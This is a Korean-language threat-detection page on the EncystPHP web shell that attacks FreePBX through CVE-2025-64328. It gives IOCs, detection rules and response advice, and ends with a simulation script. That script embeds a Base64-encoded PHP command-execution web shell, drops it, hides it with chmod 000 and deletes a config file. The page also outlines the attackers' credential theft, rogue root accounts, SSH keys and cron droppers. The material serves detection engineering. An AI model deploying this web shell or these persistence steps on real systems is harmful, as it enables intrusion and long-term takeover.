EncystPHP: 지속적인 관리자 위협을 위한 무기화된 FreePBX 웹 셸
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
FortiGuard Labs가 PHP 웹 셸을 보고함 EncystPHP FreePBX 인스턴스에 노출된 취약성을 악용하여 배포 CVE-2025-64328. 이 임플란트는 원격 명령 실행을 가능하게 하고, 특권 사용자를 마련하며, cron 작업 및 후속 드로퍼를 통해 계층적 지속성을 설정합니다. 이 활동은 INJ3CTOR3 팀과 연결되어 있으며 통신 환경을 대상으로 하는 것으로 보입니다. 발표된 지표에는 악성 IP, 도메인, URL 및 여러 적대적 파일 경로가 포함됩니다.
조사
조사자들은 FreePBX Endpoint Manager의 인증 후 명령 삽입 취약점에서 초기 접근을 추적했습니다. 공격이 성공한 후 운영자는 45.234.176.202에서 드로퍼를 가져오고 주요 PHP 구성요소의 권한을 완화하며, 데이터베이스 자격 증명을 추출하고, 루트 수준의 계정을 생성하며, 공격자가 제어하는 SSH 키를 추가합니다. 지속성은 cron 항목을 통해 추가 드로퍼를 반복적으로 가져오고 아티팩트를 새로 고침하여 강화됩니다. EncystPHP는 또한 합법적인 FreePBX 파일을 가장하고 시간 스탬프를 조작하여 정기적인 트라이애지 동안 가시성을 줄입니다.
완화 정책
FreePBX Endpoint Manager에 대한 CVE-2025-64328 (및 관련 수정 사항)을 가능한 빨리 패치하십시오. 무단 웹 셸 파일, 의심스러운 cron 일정 및 새로 생성된 특권 로컬 사용자를 사냥하세요. 알려진 악성 인프라에 대한 아웃바운드 HTTP를 차단하고 웹 인터페이스 디렉토리 및 PHP 자산에 대해 엄격한 최소 권한을 적용하십시오.
대응 조치
탐지되면 영향을 받은 PBX 서버를 격리하고, EncystPHP 아티팩트를 제거하며, 무단 cron 작업을 삭제하고, 로컬 계정 및 SSH 키를 재설정하십시오. 변경 범위를 규명하기 위해 로그 및 구성 백업을 검토한 후 최신 보안 업데이트를 적용하고 웹 인터페이스를 강화하십시오. 정상적인 전화 업무를 복원하기 전에 보조 드로퍼 또는 지속성 메커니즘이 남아있지 않음을 확인하십시오.
공격 흐름
탐지
지속성을 위한 새로운 계정이 생성될 수 있음 [Linux] (명령줄을 통해)
보기
크론 파일이 생성되었습니다 (파일 이벤트 경유)
보기
의심스러운 폴더로 다운로드 (명령줄을 통해)
보기
SSH 알려진 호스트 검색 시도 가능 [MacOS] (명령줄을 통해)
보기
Base64 인코딩된 문자열 조작 가능성 (명령줄을 통해)
보기
탐지를 위한 IOC(대상 IP): 무기화된 웹 셸 EncystPHP 노출: 지속적인 FreePBX 웹 셸이 장기 관리적 침해를 허용
보기
탐지를 위한 IOC(해시 SHA256) Unveiling the Weaponized Web Shell EncystPHP 지속적인 FreePBX 웹 셸이 장기 관리적 침해를 허용
보기
탐지를 위한 IOC(소스 IP): 무기화된 웹 셸 EncystPHP 노출: 지속적인 FreePBX 웹 셸이 장기 관리적 침해를 허용
보기
k.php 및 c 드로퍼의 지속적 다운로드를 위한 crontab 항목 감지 [Linux 프로세스 생성]
보기
EncystPHP 웹 셸 배포 및 지속성 CVE-2025-64328 [Linux 프로세스 생성]
보기
FreePBX에서 EncystPHP 웹 셸 활동 탐지 [Linux 파일 이벤트]
보기
시뮬레이션 실행
전제 조건: 원격 감시 및 기준선 예비 점검이 통과되어야 합니다.
합리적 판단: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적대적 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령 및 설명은 식별된 TTP를 직접 반영하고 탐지 논리에 의해 예상되는 정확한 원격 감시를 생성하는 것을 목표로 해야 합니다.
-
공격 서술 및 명령:
- EncystPHP 웹 셸 업로드 – 공격자는 Base64로 인코딩된 PHP 페이로드를 만들어 FreePBX 웹 UI를 통해 HTTP POST로 전달하여 파일을 생성합니다
ajax.php/var/www/html/admin/views/ajax.php 에쓰기. - 제한적인 권한 설정 – 배포 직후, 공격자는
chmod 000 ajax.php를 실행하여 셸을 일반 사용자에게 숨기고 웹 서버의 특권 계정 하에서 실행하도록 강제합니다 (T1222.002). - 중요한 설정 삭제 – 탐지를 방해하고 시스템이 악성 셸로 리로드되도록 강제하기 위해, 공격자는
/etc/freepbx.conf를 제거합니다 (T1070.004, T1562.001). - 셸 트리거 – 새로 생 성된
ajax.php에 대한 간단한 HTTP GET이 페이로드를 실행하고, 역셸을 설정합니다 (T1105, T1059.004).
- EncystPHP 웹 셸 업로드 – 공격자는 Base64로 인코딩된 PHP 페이로드를 만들어 FreePBX 웹 UI를 통해 HTTP POST로 전달하여 파일을 생성합니다
-
회귀 테스트 스크립트: 스크립트는 프로덕션 시스템에 영향을 주지 않도록 제어된 테스트 디렉토리 (
/tmp/freepbx_test)에서 1-3 단계를 재현합니다.# encystphp_simulation.sh set -euo pipefail # ----- Setup test directories (mirroring FreePBX layout) ----- TEST_ROOT="/tmp/freepbx_test" WEB_ROOT="${TEST_ROOT}/var/www/html/admin/views" CONFIG_FILE="${TEST_ROOT}/etc/freepbx.conf" sudo mkdir -p "${WEB_ROOT}" sudo mkdir -p "$(dirname "${CONFIG_FILE}")" # ----- Create dummy config file (will be deleted) ----- echo "freepbx configuration" | sudo tee "${CONFIG_FILE}" > /dev/null # ----- Base64‑encoded EncystPHP payload (very small stub) ----- PAYLOAD_B64="PD9waHAKc3lzdGVtKCRfR0VUWydjbWQnXSk7Cj8+" # ----- Step 1: Deploy web shell ----- echo "${PAYLOAD_B64}" | base64 -d | sudo tee "${WEB_ROOT}/ajax.php" > /dev/null echo "Web shell deployed at ${WEB_ROOT}/ajax.php" # ----- Step 2: Restrictive permission (000) ----- sudo chmod 000 "${WEB_ROOT}/ajax.php" echo "Permissions set to 000" # ----- Step 3: Delete critical config file ----- sudo rm -f "${CONFIG_FILE}" echo "Deleted ${CONFIG_FILE}" # ----- Optional: trigger the shell (simulated) ----- # curl -s "http://localhost/admin/views/ajax.php?cmd=id" echo "Simulation complete. Check SIEM for alerts." -
정리 명령:
# cleanup_encystphp_simulation.sh set -euo pipefail TEST_ROOT="/tmp/freepbx_test" sudo rm -rf "${TEST_ROOT}" echo "테스트 환경이 정리되었습니다."